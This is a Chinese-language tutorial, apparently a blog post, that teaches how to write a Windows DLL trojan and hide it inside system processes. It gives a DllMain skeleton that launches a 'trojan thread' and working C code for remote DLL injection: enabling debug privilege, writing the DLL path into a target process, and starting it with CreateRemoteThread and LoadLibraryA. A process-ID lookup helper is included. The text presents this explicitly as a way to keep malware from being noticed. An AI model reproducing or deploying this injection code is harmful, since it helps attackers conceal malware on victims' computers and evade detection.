木马运行关键是隐藏,神不知鬼不觉才是王道.要隐藏,先要隐藏进程,Windows操作系统中程序以进程的方式运行,大多数操作系统也是如此.任务管理器就可以看到当前运行的进程,所以有人HOOK相关枚举进程的函数,让任务管理器不显示木马进程,也有人把自己的木马注册成服务运行,”任务管理器”不显示服务的.这样做只是障眼法,进程还是存在的,最好的方法是让进程不存在,让木马作为其他进程的一个线程来运行.Windows操作系统提出了DLL的概念,其系统API都是通过DLL的形式出现的,应用程序动态链接到DLL来调用API,DLL在内存中只存在一个副本就可以满足不同应用程序的调用了,因此可以把木马写成DLL文件,让他作为进程的一部分运行,最好是系统进程的一部分,一般人很难看到一个进程加载了哪些DLL,也就很难发现这种木马(用IceSword可以看到进程的DLL模块).

一 编写一个DLL木马:

使用IDE : Visual C++ 6.0 Visual Studio.NET 2003/2005都可以.

首先建立一个Win32 Dynamic-Link Library工程.选择 A simple DLL project建立工程,然后就会看到:

BOOL APIENTRY DllMain( HANDLE hModule, // 模块句柄.
DWORD ul_reason_for_call, // 调用标志.
LPVOID lpReserved // 返回数据.
)
{
return TRUE;
}

    这个是DLL的入口点函数,只能做一些简单的初始化工作.这个函数和WinMain wWinMain _tWinMain main这四个标准的入口点函数是完全不同的,DllMain会被多次调用,上述四个入口点只被系统调用一次.顺便说一句dll文件结构和exe文件是完全一致的.

DWORD ul_reason_for_call, // 调用标志.

这个参数由系统传递,用于判断调用DllMain函数时候的状态.可能是以下四个常量:

DLL_PROCESS_ATTACH: DLL被进程第一次使用时,就是进程调用LoadLibrary函数时

DLL_THREAD_ATTACH:

DLL_THREAD_DETACH:

DLL_PROCESS_DETACH: DLL被释放的时候

MSDN原文:

DLL_PROCESS_ATTACH
The DLL is being loaded into the virtual address space of the current process as a result of the process starting up or as a result of a call to LoadLibrary. DLLs can use this opportunity to initialize any instance data or to use the TlsAlloc function to allocate a thread local storage (TLS) index.

DLL_THREAD_ATTACH
The current process is creating a new thread. When this occurs, the system calls the entry-point function of all DLLs currently attached to the process. The call is made in the context of the new thread. DLLs can use this opportunity to initialize a TLS slot for the thread. A thread calling the DLL entry-point function with DLL_PROCESS_ATTACH does not call the DLL entry-point function with DLL_THREAD_ATTACH.
Note that a DLL’s entry-point function is called with this value only by threads created after the DLL is loaded by the process. When a DLL is loaded using LoadLibrary, existing threads do not call the entry-point function of the newly loaded DLL.

DLL_THREAD_DETACH
A thread is exiting cleanly. If the DLL has stored a pointer to allocated memory in a TLS slot, it should use this opportunity to free the memory. The system calls the entry-point function of all currently loaded DLLs with this value. The call is made in the context of the exiting thread.

DLL_PROCESS_DETACH
The DLL is being unloaded from the virtual address space of the calling process as a result of unsuccessfully loading the DLL, termination of the process, or a call to FreeLibrary. The DLL can use this opportunity to call the TlsFree function to free any TLS indices allocated by using TlsAlloc and to free any thread local data.
Note that the thread that receives the DLL_PROCESS_DETACH notification is not necessarily the same thread that received the DLL_PROCESS_ATTACH notification.

    判断:当 ul_reason_for_call 等于 DLL_PROCESS_ATTACH 时就新开一个线程启动木马.记住一定要新开一个线程,不能把DllMain当main函数用.

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 启动木马线程.
CreateThread(NULL,0,MainThread,0,0,0);
break;

case DLL_THREAD_ATTACH:
break;

case DLL_THREAD_DETACH:
break;

case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

DWORD WINAPI MainThread(LPVOID lpParameter)
{
// 这里就是木马的代码了
… …
}

二 DLL木马的启动:

远程进程插入启动木马:将木马DLL插入运行中的进程空间中,让其运行.

    具体做法是先将系统权限提升到DEBUG模式下,因为只有DEBUG模式才能打开进程句柄.然后用OpenProcess函数远程以 PROCESS_Create_THREAD , PROCESS_VM_OPERATION , PROCESS_VM_WRITE的权限打开要插入的进程,得到进程的句柄.用VirtualAllocEx函数给DLL文件的路径分配内存空间.用WriteProcessMemory函数将DLL文件内容写入进程空间中.用CreateRemoteThread函数启动就完成了进程的远程插入.

代码如下:

////////////////////////////////////////////////////////////////////////
// 远程插入线程
// char szDllFullPath[] DLL文件完整路径.
// DWORD dwRemoteProcessID 要插入的进程ID号
// 返回: TRUE 插入进程成功
// FALSE 失败
BOOL InjectDll(char szDllFullPath[],DWORD dwRemoteProcessID)
{
HANDLE hRemoteProcess;
if(EnableDebugPriv(SE_DEBUG_NAME) == 0)
{
return FALSE;
}

// 打开远程线程
if((hRemoteProcess = OpenProcess(PROCESS_Create_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessID))== NULL)
{
return FALSE;
}

char * pszLibFileRemote;

// 使用VirtualAllocEx函数在远程进程内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = (char *)VirtualAllocEx( hRemoteProcess,NULL,lstrlen(szDllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);
if(pszLibFileRemote == NULL)
{
return FALSE;
}

if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)szDllFullPath,lstrlen(szDllFullPath)+1,NULL) == 0)
{
return FALSE;
}

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(“Kernel32″),”LoadLibraryA”);
if(pfnStartAddr == NULL)
{
return FALSE;
}
// 通过建立远程连接的地址:pfnStartAddr
// 传递参数 pszLibFileRemote 远程启动DLL
// 启动远程线程 LoadLibraryA 通过远程线程调用用户的DLL文件
HANDLE hRemoteThread;
if((hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL)) == NULL)
{
return FALSE;
}
return TRUE;
}

这个函数也会用到的:

////////////////////////////////////////////////////////////////////////
// 获取进程ID号
// 如无此进程则返回 0;
// char szProcName[] 进程名: .exe文件.
DWORD GetProcID(char szProcName[])
{
HANDLE th = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 pe = {sizeof(pe)};
DWORD dwProcID = 0;

BOOL bOK=Process32First(th,&pe);
while(bOK)
{
bOK = Process32Next(th,&pe);

LPCTSTR lpszExeFile = strrchr(pe.szExeFile,’//’);
if(lpszExeFile == NULL)
lpszExeFile = pe.szExeFile;
else
lpszExeFile++;

if(strcmp(szProcName,lpszExeFile) == 0)
{
dwProcID = pe.th32ProcessID;
break;
}
}

return dwProcID;
}

////////////////////////////////////////////////////////////////////////
// 提升系统权限到DEBUG模式
int EnableDebugPriv(char szName[])
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;

// 打开进程环令牌
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
return 0;
}

if(!LookupPrivilegeValue(NULL,szName,&luid))
{
return 0;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
// 调整权限
if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
return 0;
}

return 1;
}